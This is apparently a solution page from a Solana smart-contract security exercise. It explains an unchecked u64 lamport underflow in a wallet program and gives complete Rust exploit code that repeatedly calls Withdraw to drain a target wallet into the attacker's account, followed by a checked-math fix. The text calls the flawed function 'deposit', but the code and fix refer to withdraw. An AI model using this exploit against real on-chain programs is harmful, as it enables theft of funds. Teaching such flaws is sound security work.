Solution - Overflow/Underflow
The vulnerability in this contract is an overflow/underflow in the deposit function:
**wallet_info.lamports.borrow_mut() -= amount;
**destination_info.lamports.borrow_mut() += amount;
Remember that lamports are fractions of SOL. For a large amount
the u64
lamports overflow/underflow. If an attacker sets wallet_info
to the hacker's wallet and destination_info
to the rich-boi-wallet, they can underflow the wallet_info
and therefore increase his lamports. Alternatively, they can overflow the destination_info
and therefore decrease the destination lamports.
See here.
There is one more trick to it, as there is a rent check:
let min_balance = rent.minimum_balance(WALLET_LEN as usize);
if min_balance + amount > **wallet_info.lamports.borrow_mut() {
return Err(ProgramError::InsufficientFunds);
}
But this only limits the maximum amount stolen per iteration to min_balance lamports.
Here is the example exploit code that Thomas, one of our colleagues, wrote:
#![allow(unused)] fn main() { use borsh::BorshSerialize; use level2::{WalletInstruction, get_wallet_address}; use solana_program::instruction::{AccountMeta, Instruction}; use solana_program::rent::Rent; use solana_program::sysvar; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { // create hackers wallet assert_tx_success(env.execute_as_transaction( &[level2::initialize( challenge.wallet_program, challenge.hacker.pubkey(), )], &[&challenge.hacker], )); let hacker_wallet = get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program); let to_transfer = Rent::default().minimum_balance(8); println!("To transfer: {}", to_transfer); //let to_transfer = 1_000_000u64; let overflow = (-(to_transfer as i64)) as u64; let iters = 10; for i in 0..iters { let tx = env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(hacker_wallet, false), // source wallet AccountMeta::new(challenge.hacker.pubkey(), true), // owner AccountMeta::new(challenge.wallet_address, false), // target wallet AccountMeta::new_readonly(sysvar::rent::id(), false), // rent ], data: WalletInstruction::Withdraw { amount: overflow+i }.try_to_vec().unwrap(), }], &[&challenge.hacker], ); tx.print_named(&format!("haxx {}", i)); } let tx = env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(hacker_wallet, false), // source wallet AccountMeta::new(challenge.hacker.pubkey(), true), // owner AccountMeta::new(challenge.hacker.pubkey(), false), // target wallet AccountMeta::new_readonly(sysvar::rent::id(), false), // rent ], data: WalletInstruction::Withdraw { amount: to_transfer*iters-1000 }.try_to_vec().unwrap(), }], &[&challenge.hacker], ); tx.print_named("hacker withdraw"); } }
Mitigation
By replacing the math with checked math in the withdraw
function, this vulnerability can be prevented:
#![allow(unused)] fn main() { { let mut wallet_info_lapmorts = wallet_info.lamports.borrow_mut(); **wallet_info_lapmorts = (**wallet_info_lapmorts).checked_sub(amount).unwrap(); } { let mut destination_info_lapmorts = destination_info.lamports.borrow_mut(); **destination_info_lapmorts = (**destination_info_lapmorts).checked_add(amount).unwrap(); } }